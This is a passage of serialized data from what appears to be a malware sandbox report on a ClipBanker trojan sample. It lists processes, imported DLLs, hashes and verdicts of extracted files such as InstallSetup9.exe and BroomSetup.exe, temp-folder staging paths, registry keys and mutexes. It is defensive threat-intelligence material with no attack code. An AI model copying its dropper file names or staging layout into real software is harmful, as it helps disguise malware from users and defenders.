-ip 4204","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007056","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":2900,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 508 -p 4204 -ip 4204","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00002900","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7388,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 508 -p 4204 -ip 4204","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007388","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":4980,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 508 -p 4204 -ip 4204","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00004980","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":3656,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 508 -p 4204 -ip 4204","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00003656","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="}],"all_imported_dlls":["rasadhlp.dll","webio.dll","colorui.dll","user32.dll","api-ms-win-crt-heap-l1-1-0.dll","wsock32.dll","EhStorShell.dll","GrooveIntlResource.dll","imageres.dll","ws2_32.dll","api-ms-win-core-processthreads-l1-1-1.dll","api-ms-win-core-file-l1-2-0.dll","api-ms-win-crt-stdio-l1-1-0.dll","iertutil.dll","wbemprox.dll","bcrypt.dll","fltLib.dll","ntmarta.dll","mswsock.dll","compstui.dll","GdiPlus.dll","msimg32.dll","Telemetry.dll","fastprox.dll","lpk.dll","api-ms-win-crt-convert-l1-1-0.dll","api-ms-win-crt-time-l1-1-0.dll","dwmapi.dll","crypt32.dll","WindowsCodecs.dll","msvcp110.dll","msvcr90.dll","profapi.dll","cfgmgr32.dll","oleaccrc.dll","IPHLPAPI.DLL","msasn1.dll","samcli.dll","msvcr110.dll","dhcpcsvc.dll","schannel.dll","ATL90.dll","ntdsapi.dll","api-ms-win-crt-filesystem-l1-1-0.dll","winnsi.dll","credssp.dll","comdlg32.dll","wbemdisp.dll","api-ms-win-crt-environment-l1-1-0.dll","clrjit.dll","rpcss.dll","WSHTCPIP.DLL","bcryptprimitives.dll","sxs.dll","mscoreei.dll","api-ms-win-core-xstate-l2-1-0.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","nsi.dll","sspicli.dll","winhttp.dll","cryptbase.dll","apphelp.dll","wtsapi32.dll","mscms.dll","INETRES.dll","msvcp90.dll","powrprof.dll","ucrtbase.dll","winmm.dll","version.dll","GROOVEEX.DLL","samlib.dll","comctl32.dll","shfolder.dll","FWPUCLNT.DLL","INetC.dll","cryptnet.dll","urlmon.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","oleacc.dll","npmproxy.dll","netapi32.dll","xmllite.dll","api-ms-win-crt-string-l1-1-0.dll","dnsapi.dll","Math.dll","VxSSL32.dll","msctf.dll","vcruntime140_clr0400.dll","mscorrc.dll","secur32.dll","wshqos.dll","winsta.dll","advapi32.dll","clbcatq.dll","setupapi.dll","normaliz.dll","RpcRtRemote.dll","mscorlib.ni.dll","devobj.dll","gpapi.dll","mscoree.dll","kernel32.dll","api-ms-win-core-file-l2-1-0.dll","api-ms-win-core-localization-l1-2-0.dll","shlwapi.dll","wintrust.dll","api-ms-win-core-timezone-l1-1-0.dll","System.ni.dll","api-ms-win-downlevel-user32-l1-1-0.dll","netprofm.dll","msvcrt.dll","vcruntime140.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","rsaenh.dll","FileSyncShell.dll","api-ms-win-crt-locale-l1-1-0.dll","clr.dll","msvcr100.dll","wbemcomn2.dll","wbemsvc.dll","tzres.dll","sechost.dll","msvcp140.dll","api-ms-win-crt-math-l1-1-0.dll","uxtheme.dll","srvcli.dll","wbemcomn.dll","wmiutils.dll","usp10.dll","ole32.dll","api-ms-win-crt-runtime-l1-1-0.dll","oleaut32.dll","api-ms-win-downlevel-version-l1-1-0.dll","wship6.dll","api-ms-win-core-synch-l1-2-0.dll","shell32.dll","propsys.dll","wininet.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","dhcpcsvc6.dll","ncrypt.dll","netutils.dll","rpcrt4.dll","api-ms-win-crt-utility-l1-1-0.dll","psapi.dll","System.Core.ni.dll","cryptsp.dll","SensApi.dll","LoggingPlatform.dll","cabinet.dll","gdi32.dll","shdocvw.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","nlaapi.dll","KernelBase.dll","Wldap32.dll","wkscli.dll","ntdll.dll","imm32.dll","ucrtbase_clr0400.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","userenv.dll","wow64.dll","AppxSip.dll","gdi32full.dll","winmmbase.dll","msisip.dll","thumbcache.dll","System.DirectoryServices.dll","sppc.dll","Microsoft.PowerShell.Security.dll","pwrshsip.dll","Microsoft.PowerShell.Commands.Management.dll","msvcp110_win.dll","System.Data.dll","wmidcom.dll","policymanager.dll","OnDemandConnRouteHelper.dll","RstrtMgr.dll","Microsoft.PowerShell.ConsoleHost.dll","System.Numerics.dll","Microsoft.PowerShell.Commands.Utility.dll","Microsoft.BitLocker.Structures.dll","kernel.appcore.dll","SHCore.dll","MpClient.dll","imagehlp.dll","System.Configuration.ni.dll","Microsoft.Management.Infrastructure.Native.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","cldapi.dll","Microsoft.AppV.AppvClientComConsumer.dll","wldp.dll","System.Configuration.Install.dll","msvcp_win.dll","wow64win.dll","wshext.dll","CoreMessaging.dll","OpcServices.dll","aepic.dll","edputil.dll","ncryptsslp.dll","atl.dll","System.Management.Automation.dll","System.Xml.ni.dll","coml2.dll","Microsoft.AppV.AppVClientPowerShell.dll","win32u.dll","msIso.dll","WinTypes.dll","amsi.dll","Windows.StateRepositoryPS.dll","System.Transactions.dll","ntasn1.dll","wow64cpu.dll","dpapi.dll","MpOAV.dll","windows.storage.dll","CoreUIComponents.dll","mskeyprotect.dll","System.Management.dll","mi.dll","combase.dll","Microsoft.Management.Infrastructure.ni.dll","slc.dll","miutils.dll","TextInputFramework.dll"]},"file_activity":{"dropped_files":[],"extracted_files":[{"name":"288c47bbc1871b439df19ff4df68f076.exe","sha256":"54d3d2ab4783fc2efa04573800bd422e34cb1fb8a90c56b3e27b94ff007d7a5a","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"InstallSetup9.exe","sha256":"eb8daa3bbd914c5356559929d7fd7e1132c9b0f7196fc12c779256bd4412c71d","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"BroomSetup.exe","sha256":"c3881f5305c8dbd3bd81f01994ed179e3d0c2b3c963a9a509e236179d7a3308e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"INetC.dll","sha256":"85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"Math.dll","sha256":"fb6a0072377325b5da0d1da236d9da2610608e9ab74318e15540cc7aca75f837","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"1ED93C2F030B8091083F906156A321E7","sha256":"d380df875713988755cadcb1718c16d66da4d2a6bea4fe45294c392e83005118","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"name":"B46811C17859FFB409CF0E904A4AA8F8","sha256":"d2bb091268ade68ad8121d2184d0fbce128070156304bd4de312e6fbd267409c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"name":"nss9B65.tmp","sha256":"bf60bbc4c462ceddf8f2a757275522079d1ed815f04e04118a04effae90e282d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"name":"nsu8C47.tmp","sha256":"5a960d531a74d48ad211214d5a30d93b30355ece90083c198db5fa130ad0deb1","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"syncUpd_1_.exe","sha256":"5a960d531a74d48ad211214d5a30d93b30355ece90083c198db5fa130ad0deb1","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe.log","sha256":"d587c154ea3d33b016889939d2df7e914dd30bc1b8ca267bc316f4b98926df0d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"powershell.exe.log","sha256":"c16fa28b088d4a725152b8af9630445496f973c3c562ed4a4464ca357b0041dd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"L2BUW4V8.txt","sha256":"8a36461c60bc43e5b38fe89d4ab70ef0572d741e778f2c66bca1670a95af6f09","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"StartupProfileData-Interactive","sha256":"5d4d4593d104c27ca0c7af8f2157aa815ca8b1d99804843c18b6a50592109686","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"nsf2ACC.tmp","sha256":"8a36461c60bc43e5b38fe89d4ab70ef0572d741e778f2c66bca1670a95af6f09","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]}],"files_written":[{"path":"%TEMP%\\InstallSetup9.exe","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"path":"%TEMP%\\288c47bbc1871b439df19ff4df68f076.exe","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"path":"%TEMP%\\nss94B0.tmp","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"path":"%TEMP%\\BroomSetup.exe","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"path":"%TEMP%\\nss9B65.tmp","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"path":"%TEMP%\\nss9B66.tmp","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"path":"%TEMP%\\nss9B66.tmp\\INetC.dll","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"path":"%TEMP%\\nsdD00E.tmp","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\B46811C17859FFB409CF0E904A4AA8F8","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\B46811C17859FFB409CF0E904A4AA8F8","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"path":"%TEMP%\\nss9B66.tmp\\Math.dll","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\1ED93C2F030B8091083F906156A321E7","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\1ED93C2F030B8091083F906156A321E7","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe.log","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"path":"%TEMP%\\nsy2750.tmp","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"path":"%SAMPLEDIR%\\Users","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"path":"%SAMPLEDIR%\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"path":"%TEMP%\\nsf2ACC.tmp","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"path":"%TEMP%\\nsf2ACD.tmp","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"path":"%TEMP%\\nsf2ACD.tmp\\INetC.dll","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\L2BUW4V8.txt","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"path":"%TEMP%\\nsu8C47.tmp","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\9SSPAW46\\syncUpd[1].exe","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"path":"%TEMP%\\nsf2ACD.tmp\\Math.dll","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Explorer","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\BROOMCLEANER\\","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"name":"Local\\SM0:6044:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"Local\\SM0:6044:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"SM0:6044:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"SM0:6044:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"Local\\SM0:1504:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"SM0:1504:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"SM0:4656:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"Local\\SM0:1744:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"SM0:1744:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"SM0:7052:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"Local\\SM0:7052:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"Local\\SM0:7052:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"SM0:7052:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"SM0:5288:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"Local\\SM0:5288:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]}]}},"report_ids":{"sandbox_job_ids":["6aa6807da9614284a002c7be","659e1c6d5ec466032f0e63fe"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious IL:Trojan.ClipBanker Sample d77a59decea0… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample d77a59decea0…. Malware family: IL:Trojan.ClipBanker. Threat score 100/100. 17/25 AV engines flagged this file. 16 malicious and 28 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b"}],["$","meta","4",{"property":"og:title","content":"Malicious IL:Trojan.ClipBanker Sample d77a59decea0… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample d77a59decea0…. Malware family: IL:Trojan.ClipBanker. Threat score 100/100. 17/25 AV engines flagged this file. 16 malicious and 28 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious IL:Trojan.ClipBanker Sample d77a59decea0… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample d77a59decea0…. Malware family: IL:Trojan.ClipBanker. Threat score 100/100. 17/25 AV engines flagged this file. 16 malicious and 28 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L73","11",{}]]